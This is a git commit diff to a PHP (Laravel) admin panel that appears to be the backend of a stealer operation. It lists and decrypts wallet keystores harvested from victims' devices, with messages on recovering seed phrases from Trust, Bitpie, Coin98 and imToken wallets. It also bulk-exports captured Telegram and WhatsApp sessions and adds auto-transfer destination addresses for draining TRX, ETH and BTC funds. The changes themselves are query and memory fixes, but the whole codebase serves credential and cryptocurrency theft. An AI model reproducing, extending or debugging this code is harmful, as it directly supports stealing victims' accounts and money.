fix: keystore

This commit is contained in:
hashbro
2026-09-20 06:15:26 +08:00
parent 2625707aed
commit 2a41a29310
29 changed files with 1972 additions and 66 deletions
@@ -679,10 +679,27 @@ class DeviceController extends Controller
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$cols = WalletKeystore::listColumns();
$paginator = $device->keystores()->select($cols)->orderBy($field, $order)->paginate($limit, $cols, 'page', $page);
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
// Step 1: get paginated IDs ordered by the sort field (no blob access).
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
$idQuery = $device->keystores()->orderBy($field, $order);
$total = $idQuery->toBase()->getCountForPagination();
$page = max(1, $page);
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
$rows = count($ids) > 0
? WalletKeystore::query()
->whereIn('id', $ids)
->select(WalletKeystore::listColumnsLight())
->get()
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
->values()
: collect();
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
$stats = $row->listStats();
return [
@@ -692,13 +709,15 @@ class DeviceController extends Controller
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
return $this->layuiPage($total, $data);
}
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
@@ -730,7 +749,8 @@ class DeviceController extends Controller
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
{
$note = $device->notes()->orderByDesc('id')->first();
$noteId = $device->notes()->orderByDesc('id')->value('id');
$note = $noteId !== null ? Note::query()->find($noteId) : null;
$items = $note ? $note->items() : [];
if (strtolower($order) === 'asc') {
$items = array_reverse($items);
@@ -51,7 +51,7 @@ class KeystoreController extends Controller
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$cols = array_merge(WalletKeystore::listColumns(), [
$cols = array_merge(WalletKeystore::listColumnsLight(), [
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
@@ -60,18 +60,33 @@ class KeystoreController extends Controller
'limit' => $limit,
'mem' => memory_get_usage(true),
]);
$paginator = $q->paginate($limit, $cols, 'page', $page);
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
// LENGTH(raw_json) in the select list forces MySQL to read large
// blobs during the ORDER BY sort, overflowing the sort buffer.
// Step 1: get paginated IDs (no blob access).
// Step 2: fetch light columns for those IDs only.
$total = $q->toBase()->getCountForPagination();
$ids = $q->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
$rows = count($ids) > 0
? WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->whereIn('wallet_keystores.id', $ids)
->select($cols)
->get()
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
->values()
: collect();
Log::info('keystore.list.data.page', [
'total' => $paginator->total(),
'ids' => collect($paginator->items())->pluck('id')->all(),
'sizes' => collect($paginator->items())->mapWithKeys(
static fn (WalletKeystore $row) => [$row->id => (int) ($row->raw_json_len ?? 0)]
)->all(),
'total' => $total,
'ids' => $rows->pluck('id')->all(),
'mem' => memory_get_usage(true),
]);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
return $this->rowPayload($row, $portal);
})->values();
Log::info('keystore.list.data.done', [
@@ -83,7 +98,7 @@ class KeystoreController extends Controller
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'count' => $total,
'data' => $data,
]);
}
@@ -122,6 +137,45 @@ class KeystoreController extends Controller
]);
}
/**
* Return the full keystore raw_json with sensitive fields masked,
* so the admin can inspect the plaintext structure (wallet names,
* addresses, timestamps, version info, etc.) without exposing
* encrypted blobs or private keys.
*/
public function detail(WalletKeystore $keystore)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
Log::info('keystore.detail.start', [
'id' => $keystore->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
]);
$masked = $keystore->maskedDetail();
Log::info('keystore.detail.done', [
'id' => $keystore->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
'peak' => memory_get_peak_usage(true),
]);
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $keystore->id,
'source' => $keystore->sourceLabel(),
'decrypted' => (int) $keystore->decrypted,
'kind' => $keystore->kindLabel(),
'detail' => $masked,
],
]);
}
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
{
if (! $this->keystoreAllowed($keystore)) {
@@ -166,6 +220,7 @@ class KeystoreController extends Controller
'utc' => $counts['utc'],
'passwords' => $counts['passwords'],
'entropy' => $counts['entropy'],
'coin98' => $counts['coin98'] ?? 0,
],
]);
}
@@ -186,9 +241,11 @@ class KeystoreController extends Controller
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
];
}
@@ -201,6 +258,7 @@ class KeystoreController extends Controller
$utc = (int) $counts['utc'];
$passwords = (int) $counts['passwords'];
$entropy = (int) $counts['entropy'];
$coin98 = (int) ($counts['coin98'] ?? 0);
if ($utc === 0 && $passwords > 0) {
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
}
@@ -217,8 +275,11 @@ class KeystoreController extends Controller
if ($entropy > 0) {
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
}
if ($coin98 > 0) {
return '有 Coin98 WALLET_SECURE_BACKUP,但未能解析助记词';
}
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy,Coin98 需要 WALLET_SECURE_BACKUP,imToken 需要密码)';
}
private function keystoreAllowed(WalletKeystore $keystore): bool
@@ -26,6 +26,7 @@ class PageVisitController extends Controller
return view('admin.visits.index', [
'portal' => $this->portal(),
'agents' => $agents,
'countries' => CfIpCountry::names(),
]);
}
@@ -74,6 +74,95 @@ class PluginSessionController extends Controller
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
}
/**
* Bulk export all sessions matching the current filter as a ZIP.
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
* so memory stays flat regardless of row count or payload size.
*/
public function export(Request $request)
{
$kind = (int) $request->query('kind', PluginSession::KIND_TELEGRAM) === PluginSession::KIND_WHATSAPP
? PluginSession::KIND_WHATSAPP
: PluginSession::KIND_TELEGRAM;
$q = $this->baseQuery($request, $kind);
$total = $q->count();
if ($total === 0) {
return response()->json(['code' => 1, 'msg' => '没有可导出的数据'], 422);
}
if ($total > 2000) {
return response()->json([
'code' => 1,
'msg' => '数据量过大('.$total.' 条,上限 2000),请缩小筛选条件后再导出',
], 422);
}
$label = $kind === PluginSession::KIND_WHATSAPP ? 'ws' : 'tg';
$zipName = $label.'-sessions-'.date('Ymd-His').'.zip';
return response()->streamDownload(function () use ($q, $label) {
$tmp = tempnam(sys_get_temp_dir(), 'coruna_export_');
if ($tmp === false) {
echo '{}';
return;
}
$zip = new \ZipArchive();
if (! $zip->open($tmp, \ZipArchive::CREATE | \ZipArchive::OVERWRITE)) {
@unlink($tmp);
echo '{}';
return;
}
$usedNames = [];
foreach ($q->cursor() as $row) {
/** @var PluginSession $row */
$base = $row->downloadFilename();
// Ensure unique filename inside the ZIP.
$name = $base;
$n = 2;
while (isset($usedNames[$name])) {
$name = pathinfo($base, PATHINFO_FILENAME).'-'.$n.'.json';
$n++;
}
$usedNames[$name] = true;
$path = $row->payloadPath();
if ($path !== null && Storage::disk('local')->exists($path)) {
// addFile streams from disk — payload never enters PHP memory.
$abs = Storage::disk('local')->path($path);
if (is_string($abs) && $abs !== '' && is_file($abs)) {
$zip->addFile($abs, $name);
continue;
}
}
// Fallback: encode the DB payload (always small — it's a summary).
$json = json_encode(
$row->fullPayload(),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
);
$zip->addFromString($name, $json === false ? '{}' : $json);
}
$zip->close();
// Stream the temp file in small chunks, then clean up.
$fp = fopen($tmp, 'rb');
if (is_resource($fp)) {
while (! feof($fp)) {
echo fread($fp, 65536);
}
fclose($fp);
}
@unlink($tmp);
}, $zipName, [
'Content-Type' => 'application/zip',
'X-Export-Count' => (string) $total,
]);
}
private function page(string $kind)
{
$agents = $this->isAgentPortal()
@@ -46,6 +46,9 @@ class SystemSettingsController extends Controller
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
'transfer_to_address' => ['nullable', 'string', 'max:128'],
'transfer_to_address_eth' => ['nullable', 'string', 'max:128'],
'transfer_to_address_btc' => ['nullable', 'string', 'max:128'],
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
@@ -81,6 +84,9 @@ class SystemSettingsController extends Controller
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
'transfer.to_address' => $threshold($data['transfer_to_address'] ?? null) ?? '',
'transfer.to_address_eth' => $threshold($data['transfer_to_address_eth'] ?? null) ?? '',
'transfer.to_address_btc' => $threshold($data['transfer_to_address_btc'] ?? null) ?? '',
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',